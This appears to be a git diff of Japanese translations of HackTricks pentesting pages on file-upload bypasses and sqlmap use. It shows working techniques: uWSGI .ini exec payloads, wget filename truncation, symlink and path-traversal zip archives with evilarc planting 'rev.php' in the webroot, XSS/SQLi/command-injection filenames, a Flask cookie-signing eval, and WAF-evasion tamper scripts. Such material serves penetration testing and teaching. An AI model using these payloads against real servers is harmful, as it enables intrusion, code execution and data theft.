- 画像の**リサイズを生き残る**ペイロードを作成する別の技術として、PHP-GD関数`thumbnailImage`を使用します。しかし、**tEXtチャンク**を使用して、圧縮を**生き残る**テキストを挿入することができます。[**ここで定義された技術**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)
|
||||
- 画像のリサイズを**生き残る**ペイロードを作成する別の技術として、PHP-GD関数`thumbnailImage`を使用します。しかし、**tEXtチャンク**[**ここで定義された技術**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html)を使用して、圧縮を**生き残る**テキストを挿入できます。
|
||||
- [**コードのあるGithub**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)
|
||||
|
||||
### その他のチェックするトリック
|
||||
|
||||
- アップロード済みのファイルの**名前を変更**する脆弱性を見つける(拡張子を変更するため)。
|
||||
- **ローカルファイルインクルージョン**の脆弱性を見つけてバックドアを実行する。
|
||||
- すでにアップロードされたファイルの**名前を変更**する脆弱性を見つけます(拡張子を変更するため)。
|
||||
- **ローカルファイルインクルージョン**の脆弱性を見つけてバックドアを実行します。
|
||||
- **情報漏洩の可能性**:
|
||||
1. **同じファイル**を**同時に**何度もアップロードする
|
||||
2. **既存のファイル**または**フォルダ**の**名前**でファイルをアップロードする
|
||||
3. **“.”, “..”, または “…”**を名前に持つファイルをアップロードする。たとえば、Apacheの**Windows**では、アプリケーションがアップロードされたファイルを「/www/uploads/」ディレクトリに保存する場合、「.」というファイル名は「/www/」ディレクトリに「uploads」というファイルを作成します。
|
||||
4. **NTFS**で簡単に削除できないファイルをアップロードする(例: **“…:.jpg”**)。(Windows)
|
||||
5. **無効な文字**(`|<>*?”`など)を名前に持つファイルを**Windows**にアップロードする。(Windows)
|
||||
6. **予約された**(**禁止された**)**名前**(CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, LPT9など)を使用して**Windows**にファイルをアップロードする。
|
||||
- また、**実行可能ファイル**(.exe)または**.html**(あまり疑わしくない)をアップロードして、被害者が誤って開いたときに**コードを実行**することを試みてください。
|
||||
1. **同じファイル**を**同時に**何度もアップロードします。
|
||||
2. **既存のファイル**または**フォルダ**の**名前**でファイルをアップロードします。
|
||||
3. **“.”, “..”, または “…”**を名前に持つファイルをアップロードします。たとえば、Apacheの**Windows**では、アプリケーションがアップロードされたファイルを「/www/uploads/」ディレクトリに保存する場合、「.」というファイル名は「/www/」ディレクトリに「uploads」というファイルを作成します。
|
||||
4. **NTFS**で簡単に削除できないファイル(例: **“…:.jpg”**)をアップロードします。(Windows)
|
||||
5. **無効な文字**(例: `|<>*?”`)を名前に持つファイルを**Windows**にアップロードします。(Windows)
|
||||
6. **予約された**(**禁止された**)**名前**(例: CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, LPT9)を持つファイルを**Windows**にアップロードします。
|
||||
- また、**実行可能ファイル**(.exe)や**.html**(あまり疑わしくない)をアップロードして、被害者が誤って開いたときに**コードを実行**させることを試みてください。
|
||||
|
||||
### 特殊な拡張子のトリック
|
||||
|
||||
**PHPサーバー**にファイルをアップロードしようとしている場合は、[コードを実行するための**.htaccess**トリックを確認してください](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution)。\
|
||||
**ASPサーバー**にファイルをアップロードしようとしている場合は、[コードを実行するための**.config**トリックを確認してください](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files)。
|
||||
**PHPサーバー**にファイルをアップロードしようとしている場合、[コードを実行するための**.htaccess**トリックを確認してください](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution)。\
|
||||
**ASPサーバー**にファイルをアップロードしようとしている場合、[コードを実行するための**.config**トリックを確認してください](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files)。
|
||||
|
||||
`.phar`ファイルはJavaの`.jar`のようなもので、PHP用であり、**PHPファイルのように使用**できます(PHPで実行したり、スクリプト内に含めたりすることができます...)
|
||||
`.phar`ファイルはJavaの`.jar`のようなもので、PHP用であり、**PHPファイルのように使用**できます(PHPで実行したり、スクリプト内に含めたりできます...)。
|
||||
|
||||
`.inc`拡張子は、ファイルを**インポートするためだけに使用される**PHPファイルに時々使用されるため、ある時点で誰かが**この拡張子を実行可能にした**可能性があります。
|
||||
|
||||
@ -106,7 +106,7 @@ JettyサーバーにXMLファイルをアップロードできる場合、[**新
|
||||
|
||||
この脆弱性の詳細な調査については、元の研究を確認してください: [uWSGI RCEの悪用](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html)。
|
||||
|
||||
リモートコマンド実行(RCE)脆弱性は、`.ini`構成ファイルを変更する能力がある場合、uWSGIサーバーで悪用できます。uWSGI構成ファイルは、"magic"変数、プレースホルダー、および演算子を組み込むために特定の構文を利用します。特に、`@(filename)`として使用される'@'演算子は、ファイルの内容を含めるために設計されています。uWSGIでサポートされているさまざまなスキームの中で、"exec"スキームは特に強力で、プロセスの標準出力からデータを読み取ることを可能にします。この機能は、`.ini`構成ファイルが処理されるときに、リモートコマンド実行や任意のファイルの書き込み/読み取りなどの悪意のある目的に操作される可能性があります。
|
||||
リモートコマンド実行(RCE)脆弱性は、`.ini`構成ファイルを変更する能力がある場合、uWSGIサーバーで悪用できます。uWSGI構成ファイルは、"magic"変数、プレースホルダー、および演算子を組み込むために特定の構文を利用します。特に、`@(filename)`として使用される'@'演算子は、ファイルの内容を含めるために設計されています。uWSGIでサポートされているさまざまなスキームの中で、"exec"スキームは特に強力で、プロセスの標準出力からデータを読み取ることを可能にします。この機能は、`.ini`構成ファイルが処理されるときに、リモートコマンド実行や任意のファイルの書き込み/読み取りなどの悪意のある目的に悪用される可能性があります。
|
||||
|
||||
以下は、さまざまなスキームを示す有害な`uwsgi.ini`ファイルの例です:
|
||||
```ini
|
||||
@ -128,12 +128,12 @@ characters = @(call://uwsgi_func)
|
||||
```
|
||||
ペイロードの実行は、設定ファイルの解析中に発生します。設定が有効化され、解析されるためには、uWSGIプロセスを再起動する必要があります(クラッシュ後やサービス拒否攻撃のために)またはファイルを自動再読み込みに設定する必要があります。自動再読み込み機能が有効になっている場合、変更を検出すると指定された間隔でファイルが再読み込みされます。
|
||||
|
||||
uWSGIの設定ファイル解析の緩い性質を理解することが重要です。具体的には、議論されたペイロードはバイナリファイル(画像やPDFなど)に挿入でき、潜在的な悪用の範囲をさらに広げます。
|
||||
uWSGIの設定ファイル解析の緩い性質を理解することが重要です。具体的には、議論されたペイロードはバイナリファイル(画像やPDFなど)に挿入でき、潜在的な悪用の範囲をさらに広げることができます。
|
||||
|
||||
## **wget File Upload/SSRF Trick**
|
||||
|
||||
場合によっては、サーバーが**`wget`**を使用して**ファイルをダウンロード**しており、**URL**を**指定**できることがあります。この場合、コードはダウンロードされたファイルの拡張子がホワイトリスト内にあるかどうかを確認して、許可されたファイルのみがダウンロードされることを保証しているかもしれません。しかし、**このチェックはバイパス可能です。**\
|
||||
**linux**における**ファイル名**の**最大**長は**255**ですが、**wget**はファイル名を**236**文字に切り詰めます。**"A"\*232+".php"+".gif"**という名前のファイルを**ダウンロード**できます。このファイル名は**チェックをバイパス**します(この例では**".gif"**は**有効**な拡張子です)が、`wget`はファイル名を**"A"\*232+".php"**に**変更**します。
|
||||
場合によっては、サーバーが**`wget`**を使用して**ファイルをダウンロード**しており、**URL**を**指定**できることがあります。この場合、コードはダウンロードされたファイルの拡張子がホワイトリストに含まれているかを確認して、許可されたファイルのみがダウンロードされることを保証しているかもしれません。しかし、**このチェックはバイパス可能です。**\
|
||||
**linux**における**ファイル名**の**最大**長は**255**ですが、**wget**はファイル名を**236**文字に切り詰めます。**"A"\*232+".php"+".gif"**という名前のファイルを**ダウンロード**できます。このファイル名は**チェック**を**バイパス**します(この例では**".gif"**は**有効**な拡張子です)が、`wget`はファイル名を**"A"\*232+".php"**に**変更**します。
|
||||
```bash
|
||||
#Create file and HTTP server
|
||||
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
|
||||
@ -164,20 +164,20 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
|
||||
|
||||
## ファイルアップロードから他の脆弱性へ
|
||||
|
||||
- **filename** を `../../../tmp/lol.png` に設定して、**パストラバーサル**を試みます。
|
||||
- **filename** を `../../../tmp/lol.png` に設定して、**パストラバーサル**を試みてください。
|
||||
- **filename** を `sleep(10)-- -.jpg` に設定すると、**SQLインジェクション**を達成できるかもしれません。
|
||||
- **filename** を `<svg onload=alert(document.domain)>` に設定して、XSSを達成します。
|
||||
- **filename** を `; sleep 10;` に設定して、いくつかのコマンドインジェクションをテストします(詳細な [コマンドインジェクションのトリックはこちら](../command-injection.md))。
|
||||
- **filename** を `<svg onload=alert(document.domain)>` に設定して、XSSを達成してください。
|
||||
- **filename** を `; sleep 10;` に設定して、いくつかのコマンドインジェクションをテストします(他の [コマンドインジェクションのトリックはこちら](../command-injection.md))。
|
||||
- [**XSS** in image (svg) file upload](../xss-cross-site-scripting/index.html#xss-uploading-files-svg)
|
||||
- **JS**ファイル **アップロード** + **XSS** = [**Service Workers**の悪用](../xss-cross-site-scripting/index.html#xss-abusing-service-workers)
|
||||
- **JS**ファイル**アップロード** + **XSS** = [**Service Workers**の悪用](../xss-cross-site-scripting/index.html#xss-abusing-service-workers)
|
||||
- [**XXE in svg upload**](../xxe-xee-xml-external-entity.md#svg-file-upload)
|
||||
- [**Open Redirect** via uploading svg file](../open-redirect.md#open-redirect-uploading-svg-files)
|
||||
- [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet) から **異なるsvgペイロード**を試してください。
|
||||
- [有名な **ImageTrick** 脆弱性](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
|
||||
- **URLから画像を取得するようにWebサーバーを指示できる**場合、[SSRF](../ssrf-server-side-request-forgery/index.html)を悪用することを試みることができます。この**画像**が**公開**サイトに**保存**される場合、[https://iplogger.org/invisible/](https://iplogger.org/invisible/) からのURLを指定して、**訪問者の情報を盗む**こともできます。
|
||||
- [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)から**異なるsvgペイロード**を試してください。
|
||||
- [有名な**ImageTrick**脆弱性](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
|
||||
- **URLから画像を取得するようにWebサーバーを指示できる**場合、[SSRF](../ssrf-server-side-request-forgery/index.html)を悪用することを試みることができます。この**画像**が**公開**サイトに**保存**される場合、[https://iplogger.org/invisible/](https://iplogger.org/invisible/)からのURLを指定して、**訪問者の情報を盗む**こともできます。
|
||||
- [**XXEとCORS**のバイパスをPDF-Adobeアップロードで](pdf-upload-xxe-and-cors-bypass.md)
|
||||
- 特別に作成されたPDFを使用したXSS: [次のページでは、**PDFデータを注入してJS実行を取得する方法**を示しています](../xss-cross-site-scripting/pdf-injection.md)。PDFをアップロードできる場合、指定された指示に従って任意のJSを実行するPDFを準備できます。
|
||||
- \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt))の内容をアップロードして、サーバーに**ウイルス対策ソフトウェア**があるかどうかを確認します。
|
||||
- 特別に作成されたPDFによるXSS: [次のページでは、**PDFデータを注入してJS実行を取得する方法**を示しています](../xss-cross-site-scripting/pdf-injection.md)。PDFをアップロードできる場合、与えられた指示に従って任意のJSを実行するPDFを準備できます。
|
||||
- \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt))の内容をアップロードして、サーバーに**ウイルス対策ソフト**があるかどうかを確認します。
|
||||
- ファイルをアップロードする際に**サイズ制限**があるかどうかを確認します。
|
||||
|
||||
以下は、アップロードによって達成できることのトップ10リストです([こちらから](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
|
||||
@ -190,7 +190,7 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================
|
||||
6. **AVI**: LFI / SSRF
|
||||
7. **HTML / JS** : HTMLインジェクション / XSS / オープンリダイレクト
|
||||
8. **PNG / JPEG**: ピクセルフラッド攻撃 (DoS)
|
||||
9. **ZIP**: LFIを介したRCE / DoS
|
||||
9. **ZIP**: LFI経由のRCE / DoS
|
||||
10. **PDF / PPTX**: SSRF / BLIND XXE
|
||||
|
||||
#### Burp拡張機能
|
||||
@ -206,13 +206,13 @@ https://github.com/portswigger/upload-scanner
|
||||
|
||||
他のファイルタイプについては、[https://en.wikipedia.org/wiki/List_of_file_signatures](https://en.wikipedia.org/wiki/List_of_file_signatures)を参照してください。
|
||||
|
||||
### Zip/Tarファイルの自動解凍アップロード
|
||||
## Zip/Tarファイルの自動解凍アップロード
|
||||
|
||||
サーバー内で解凍されるZIPをアップロードできる場合、次の2つのことができます。
|
||||
サーバー内で解凍されるZIPをアップロードできる場合、2つのことができます。
|
||||
|
||||
#### シンリンク
|
||||
### シンボリックリンク
|
||||
|
||||
他のファイルへのソフトリンクを含むリンクをアップロードし、解凍されたファイルにアクセスすることでリンクされたファイルにアクセスします。
|
||||
他のファイルへのソフトリンクを含むリンクをアップロードし、解凍されたファイルにアクセスすることで、リンクされたファイルにアクセスします。
|
||||
```
|
||||
ln -s ../../../index.php symindex.txt
|
||||
zip --symlinks test.zip symindex.txt
|
||||
@ -220,7 +220,7 @@ tar -cvf test.tar symindex.txt
|
||||
```
|
||||
### 異なるフォルダに展開する
|
||||
|
||||
展開中にディレクトリ内にファイルが予期せず作成されることは重大な問題です。この設定が悪意のあるファイルアップロードによるOSレベルのコマンド実行から守るかもしれないという最初の仮定にもかかわらず、ZIPアーカイブ形式の階層的圧縮サポートとディレクトリトラバーサル機能は悪用される可能性があります。これにより、攻撃者は制限を回避し、ターゲットアプリケーションの展開機能を操作することで安全なアップロードディレクトリから脱出することができます。
|
||||
展開中にディレクトリ内にファイルが予期せず作成されることは重大な問題です。この設定が悪意のあるファイルアップロードによるOSレベルのコマンド実行から守ると最初は考えられていましたが、ZIPアーカイブ形式の階層的圧縮サポートとディレクトリトラバーサル機能が悪用される可能性があります。これにより、攻撃者は制限を回避し、ターゲットアプリケーションの展開機能を操作することで安全なアップロードディレクトリから脱出することができます。
|
||||
|
||||
そのようなファイルを作成するための自動化されたエクスプロイトは、[**evilarc on GitHub**](https://github.com/ptoomey3/evilarc)で入手可能です。このユーティリティは以下のように使用できます:
|
||||
```python
|
||||
@ -229,7 +229,7 @@ python2 evilarc.py -h
|
||||
# Creating a malicious archive
|
||||
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
|
||||
```
|
||||
さらに、**evilarcを使ったシンボリックリンクのトリック**も選択肢です。目的が`/flag.txt`のようなファイルをターゲットにすることであれば、そのファイルへのシンボリックリンクをシステムに作成する必要があります。これにより、evilarcが操作中にエラーに遭遇しないことが保証されます。
|
||||
さらに、**evilarcを使用したシンボリックリンクトリック**もオプションです。目的が`/flag.txt`のようなファイルをターゲットにすることであれば、そのファイルへのシンボリックリンクをシステムに作成する必要があります。これにより、evilarcが操作中にエラーに遭遇しないことが保証されます。
|
||||
|
||||
以下は、悪意のあるzipファイルを作成するために使用されるPythonコードの例です:
|
||||
```python
|
||||
@ -297,14 +297,22 @@ PNGファイルのIDATチャンクにPHPシェルを埋め込むことで、特
|
||||
|
||||
## ポリグロットファイル
|
||||
|
||||
ポリグロットファイルはサイバーセキュリティにおいてユニークなツールとして機能し、複数のファイル形式に同時に有効に存在できるカメレオンのような役割を果たします。興味深い例としては、GIFとRARアーカイブの両方として機能するハイブリッドである[Gifar](https://en.wikipedia.org/wiki/Gifar)があります。このようなファイルはこのペアリングに限らず、GIFとJSやPPTとJSの組み合わせも可能です。
|
||||
ポリグロットファイルはサイバーセキュリティにおいてユニークなツールとして機能し、複数のファイル形式に同時に有効に存在できるカメレオンのような役割を果たします。興味深い例としては、GIFとRARアーカイブの両方として機能するハイブリッドである[GIFAR](https://en.wikipedia.org/wiki/Gifar)があります。このようなファイルはこのペアリングに限らず、GIFとJSやPPTとJSのような組み合わせも可能です。
|
||||
|
||||
ポリグロットファイルの主な利点は、タイプに基づいてファイルをスクリーニングするセキュリティ対策を回避できる能力にあります。さまざまなアプリケーションでは、JPEG、GIF、DOCなどの特定のファイルタイプのみをアップロードすることが一般的であり、潜在的に有害なフォーマット(例:JS、PHP、Pharファイル)によるリスクを軽減します。しかし、ポリグロットは複数のファイルタイプの構造基準に適合することで、これらの制限を巧妙に回避できます。
|
||||
ポリグロットファイルの主な利点は、タイプに基づいてファイルをスクリーニングするセキュリティ対策を回避できる能力にあります。さまざまなアプリケーションでは、JPEG、GIF、DOCなどの特定のファイルタイプのみをアップロードすることが許可されており、潜在的に有害なフォーマット(例:JS、PHP、Pharファイル)によるリスクを軽減しています。しかし、ポリグロットは複数のファイルタイプの構造基準に適合することで、これらの制限を巧妙に回避できます。
|
||||
|
||||
適応性がある一方で、ポリグロットには制限もあります。たとえば、ポリグロットがPHARファイル(PHp ARchive)とJPEGを同時に具現化している場合でも、そのアップロードの成功はプラットフォームのファイル拡張子ポリシーに依存することがあります。システムが許可される拡張子に厳格である場合、ポリグロットの単なる構造的二重性ではアップロードを保証するには不十分な場合があります。
|
||||
適応性がある一方で、ポリグロットには制限もあります。たとえば、ポリグロットがPHARファイル(PHp ARchive)とJPEGを同時に具現化している場合でも、そのアップロードの成功はプラットフォームのファイル拡張子ポリシーに依存することがあります。システムが許可される拡張子に厳格であれば、ポリグロットの単なる構造的二重性ではアップロードを保証するには不十分な場合があります。
|
||||
|
||||
詳細情報は次のリンクにあります: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
|
||||
|
||||
### PDFのように有効なJSONをアップロードする
|
||||
|
||||
PDFファイルを偽装して有効なJSONファイルをアップロードすることでファイルタイプの検出を回避する方法(**[このブログ記事](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)**からの技術):
|
||||
|
||||
- **`mmmagic`ライブラリ**: 最初の1024バイトに`%PDF`マジックバイトが含まれていれば有効です(投稿から例を取得)
|
||||
- **`pdflib`ライブラリ**: JSONのフィールド内に偽のPDFフォーマットを追加し、ライブラリがPDFだと認識するようにします(投稿から例を取得)
|
||||
- **`file`バイナリ**: ファイルから最大1048576バイトを読み取ることができます。それより大きなJSONを作成し、内容をJSONとして解析できないようにし、その中に実際のPDFの初期部分を入れると、PDFだと思われます。
|
||||
|
||||
## 参考文献
|
||||
|
||||
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files)
|
||||
@ -313,5 +321,6 @@ PNGファイルのIDATチャンクにPHPシェルを埋め込むことで、特
|
||||
- [https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html)
|
||||
- [https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/](https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/)
|
||||
- [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a)
|
||||
- [https://blog.doyensec.com/2025/01/09/cspt-file-upload.html](https://blog.doyensec.com/2025/01/09/cspt-file-upload.html)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -80,9 +80,15 @@ sqlmap --method=PUT -u "http://example.com" --headers="referer:*"
|
||||
```bash
|
||||
--string="string_showed_when_TRUE"
|
||||
```
|
||||
### 検出技術の追加
|
||||
|
||||
SQLiを見つけたがsqlmapが検出しなかった場合、`--prefix`や`--suffix`のような引数を使って検出技術を強制することができます。また、より複雑な場合は、例えば時間盲検出に基づくペイロードをsqlmapが使用する`/usr/share/sqlmap/data/xml/payloads/time_blind.xml`に追加することができます。
|
||||
|
||||
|
||||
|
||||
### Eval
|
||||
|
||||
**Sqlmap** は、`-e` または `--eval` を使用して、ペイロードを送信する前にいくつかの Python ワンライナーで処理することを可能にします。これにより、送信する前にペイロードをカスタム方式で非常に簡単かつ迅速に処理できます。次の例では、**flask cookie session** **は、送信する前に既知の秘密で flask によって署名されています**:
|
||||
**Sqlmap**は、`-e`または`--eval`を使用して、ペイロードを送信する前に処理することを許可します。これにより、送信する前にペイロードをカスタム方式で非常に簡単かつ迅速に処理できます。次の例では、**flask cookie session** **は、送信する前に既知の秘密でflaskによって署名されています**:
|
||||
```bash
|
||||
sqlmap http://1.1.1.1/sqli --eval "from flask_unsign import session as s; session = s.sign({'uid': session}, secret='SecretExfilratedFromTheMachine')" --cookie="session=*" --dump
|
||||
```
|
||||
@ -133,7 +139,7 @@ sqlmap -r r.txt -p id --not-string ridiculous --batch
|
||||
```
|
||||
### Tamper
|
||||
|
||||
**自分のタムパーをPythonで作成することができ、非常に簡単です。** タムパーの例は、[Second Order Injection page here](second-order-injection-sqlmap.md)で見つけることができます。
|
||||
覚えておいてください、**自分自身のタムパーをPythonで作成することができます**、そしてそれは非常に簡単です。タムパーの例は[Second Order Injection page here](second-order-injection-sqlmap.md)にあります。
|
||||
```bash
|
||||
--tamper=name_of_the_tamper
|
||||
#In kali you can see all the tampers in /usr/share/sqlmap/tamper
|
||||
@ -142,50 +148,48 @@ sqlmap -r r.txt -p id --not-string ridiculous --batch
|
||||
| ---------------------------- | ---------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| apostrophemask.py | アポストロフィ文字をそのUTF-8全幅の対応文字に置き換えます。 |
|
||||
| apostrophenullencode.py | アポストロフィ文字をその不正な二重Unicode対応文字に置き換えます。 |
|
||||
| appendnullbyte.py | ペイロードの最後にエンコードされたNULLバイト文字を追加します。 |
|
||||
| base64encode.py | 指定されたペイロード内のすべての文字をBase64エンコードします。 |
|
||||
| between.py | 大なり演算子('>')を「NOT BETWEEN 0 AND #」に置き換えます。 |
|
||||
| bluecoat.py | SQL文の後のスペース文字を有効なランダムな空白文字に置き換えます。その後、文字「=」をLIKE演算子に置き換えます。 |
|
||||
| chardoubleencode.py | 指定されたペイロード内のすべての文字を二重URLエンコードします(すでにエンコードされたものは処理しません)。 |
|
||||
| appendnullbyte.py | ペイロードの末尾にエンコードされたNULLバイト文字を追加します。 |
|
||||
| base64encode.py | 指定されたペイロード内のすべての文字をBase64エンコードします。 |
|
||||
| between.py | 大なり演算子('>')を「NOT BETWEEN 0 AND #」に置き換えます。 |
|
||||
| bluecoat.py | SQL文の後のスペース文字を有効なランダムな空白文字に置き換えます。その後、文字「=」をLIKE演算子に置き換えます。 |
|
||||
| chardoubleencode.py | 指定されたペイロード内のすべての文字を二重URLエンコードします(すでにエンコードされたものは処理しません)。 |
|
||||
| commalesslimit.py | 「LIMIT M, N」のようなインスタンスを「LIMIT N OFFSET M」に置き換えます。 |
|
||||
| commalessmid.py | 「MID(A, B, C)」のようなインスタンスを「MID(A FROM B FOR C)」に置き換えます。 |
|
||||
| concat2concatws.py | 「CONCAT(A, B)」のようなインスタンスを「CONCAT_WS(MID(CHAR(0), 0, 0), A, B)」に置き換えます。 |
|
||||
| charencode.py | 指定されたペイロード内のすべての文字をURLエンコードします(すでにエンコードされたものは処理しません)。 |
|
||||
| charunicodeencode.py | 指定されたペイロード内の非エンコード文字をUnicode URLエンコードします(すでにエンコードされたものは処理しません)。 "%u0022" |
|
||||
| charunicodeescape.py | 指定されたペイロード内の非エンコード文字をUnicode URLエンコードします(すでにエンコードされたものは処理しません)。 "\u0022" |
|
||||
| equaltolike.py | 演算子「=」のすべての出現を演算子「LIKE」に置き換えます。 |
|
||||
| charencode.py | 指定されたペイロード内のすべての文字をURLエンコードします(すでにエンコードされたものは処理しません)。 |
|
||||
| charunicodeencode.py | 指定されたペイロード内の非エンコード文字をUnicode URLエンコードします(すでにエンコードされたものは処理しません)。 "%u0022" |
|
||||
| charunicodeescape.py | 指定されたペイロード内の非エンコード文字をUnicode URLエンコードします(すでにエンコードされたものは処理しません)。 "\u0022" |
|
||||
| equaltolike.py | 演算子「=」のすべての出現を演算子「LIKE」に置き換えます。 |
|
||||
| escapequotes.py | クォート(' と ")をスラッシュでエスケープします。 |
|
||||
| greatest.py | 大なり演算子('>')を「GREATEST」に置き換えます。 |
|
||||
| halfversionedmorekeywords.py | 各キーワードの前にバージョン付きMySQLコメントを追加します。 |
|
||||
| greatest.py | 大なり演算子('>')を「GREATEST」対応に置き換えます。 |
|
||||
| halfversionedmorekeywords.py | 各キーワードの前にバージョン付きMySQLコメントを追加します。 |
|
||||
| ifnull2ifisnull.py | 「IFNULL(A, B)」のようなインスタンスを「IF(ISNULL(A), B, A)」に置き換えます。 |
|
||||
| modsecurityversioned.py | 完全なクエリをバージョン付きコメントで囲みます。 |
|
||||
| modsecurityzeroversioned.py | 完全なクエリをゼロバージョン付きコメントで囲みます。 |
|
||||
| multiplespaces.py | SQLキーワードの周りに複数のスペースを追加します。 |
|
||||
| nonrecursivereplacement.py | 置換に適した表現で事前定義されたSQLキーワードを置き換えます(例:.replace("SELECT", "")フィルター)。 |
|
||||
| percentage.py | 各文字の前にパーセント記号('%')を追加します。 |
|
||||
| multiplespaces.py | SQLキーワードの周りに複数のスペースを追加します。 |
|
||||
| nonrecursivereplacement.py | 事前定義されたSQLキーワードを置き換えに適した表現に置き換えます(例:.replace("SELECT", "")フィルター)。 |
|
||||
| percentage.py | 各文字の前にパーセント記号('%')を追加します。 |
|
||||
| overlongutf8.py | 指定されたペイロード内のすべての文字を変換します(すでにエンコードされたものは処理しません)。 |
|
||||
| randomcase.py | 各キーワード文字をランダムなケース値に置き換えます。 |
|
||||
| randomcomments.py | SQLキーワードにランダムなコメントを追加します。 |
|
||||
| securesphere.py | 特別に作成された文字列を追加します。 |
|
||||
| sp_password.py | ペイロードの最後に「sp_password」を追加してDBMSログからの自動的な難読化を行います。 |
|
||||
| space2comment.py | スペース文字(' ')をコメントに置き換えます。 |
|
||||
| space2dash.py | スペース文字(' ')をダッシュコメント('--')に置き換え、その後にランダムな文字列と改行('\n')を追加します。 |
|
||||
| space2hash.py | スペース文字(' ')をポンド文字('#')に置き換え、その後にランダムな文字列と改行('\n')を追加します。 |
|
||||
| space2morehash.py | スペース文字(' ')をポンド文字('#')に置き換え、その後にランダムな文字列と改行('\n')を追加します。 |
|
||||
| space2mssqlblank.py | スペース文字(' ')を有効な代替文字のセットからのランダムな空白文字に置き換えます。 |
|
||||
| randomcase.py | 各キーワード文字をランダムなケース値に置き換えます。 |
|
||||
| randomcomments.py | SQLキーワードにランダムなコメントを追加します。 |
|
||||
| securesphere.py | 特別に作成された文字列を追加します。 |
|
||||
| sp_password.py | 自動的にDBMSログからの難読化のためにペイロードの末尾に「sp_password」を追加します。 |
|
||||
| space2comment.py | スペース文字(' ')をコメントに置き換えます。 |
|
||||
| space2dash.py | スペース文字(' ')をダッシュコメント('--')に置き換え、その後にランダムな文字列と改行('\n')を追加します。 |
|
||||
| space2hash.py | スペース文字(' ')をポンド文字('#')に置き換え、その後にランダムな文字列と改行('\n')を追加します。 |
|
||||
| space2morehash.py | スペース文字(' ')をポンド文字('#')に置き換え、その後にランダムな文字列と改行('\n')を追加します。 |
|
||||
| space2mssqlblank.py | スペース文字(' ')を有効な代替文字のセットからのランダムな空白文字に置き換えます。 |
|
||||
| space2mssqlhash.py | スペース文字(' ')をポンド文字('#')に置き換え、その後に改行('\n')を追加します。 |
|
||||
| space2mysqlblank.py | スペース文字(' ')を有効な代替文字のセットからのランダムな空白文字に置き換えます。 |
|
||||
| space2mysqlblank.py | スペース文字(' ')を有効な代替文字のセットからのランダムな空白文字に置き換えます。 |
|
||||
| space2mysqldash.py | スペース文字(' ')をダッシュコメント('--')に置き換え、その後に改行('\n')を追加します。 |
|
||||
| space2plus.py | スペース文字(' ')をプラス('+')に置き換えます。 |
|
||||
| space2randomblank.py | スペース文字(' ')を有効な代替文字のセットからのランダムな空白文字に置き換えます。 |
|
||||
| symboliclogical.py | ANDおよびOR論理演算子をその記号対応物(&&および)に置き換えます。 |
|
||||
| unionalltounion.py | UNION ALL SELECTをUNION SELECTに置き換えます。 |
|
||||
| unmagicquotes.py | クォート文字(')をマルチバイトコンボ%bf%27に置き換え、最後に一般的なコメントを追加します(機能させるため)。 |
|
||||
| uppercase.py | 各キーワード文字を大文字の「INSERT」に置き換えます。 |
|
||||
| varnish.py | HTTPヘッダー「X-originating-IP」を追加します。 |
|
||||
| versionedkeywords.py | 各非関数キーワードをバージョン付きMySQLコメントで囲みます。 |
|
||||
| versionedmorekeywords.py | 各キーワードをバージョン付きMySQLコメントで囲みます。 |
|
||||
| xforwardedfor.py | 偽のHTTPヘッダー「X-Forwarded-For」を追加します。 |
|
||||
|
||||
| space2plus.py | スペース文字(' ')をプラス('+')に置き換えます。 |
|
||||
| space2randomblank.py | スペース文字(' ')を有効な代替文字のセットからのランダムな空白文字に置き換えます。 |
|
||||
| symboliclogical.py | ANDおよびOR論理演算子をその記号対応(&&および)に置き換えます。 |
|
||||
| unionalltounion.py | UNION ALL SELECTをUNION SELECTに置き換えます。 |
|
||||
| unmagicquotes.py | クォート文字(')をマルチバイトコンボ%bf%27に置き換え、最後に一般的なコメントを追加します(機能させるため)。 |
|
||||
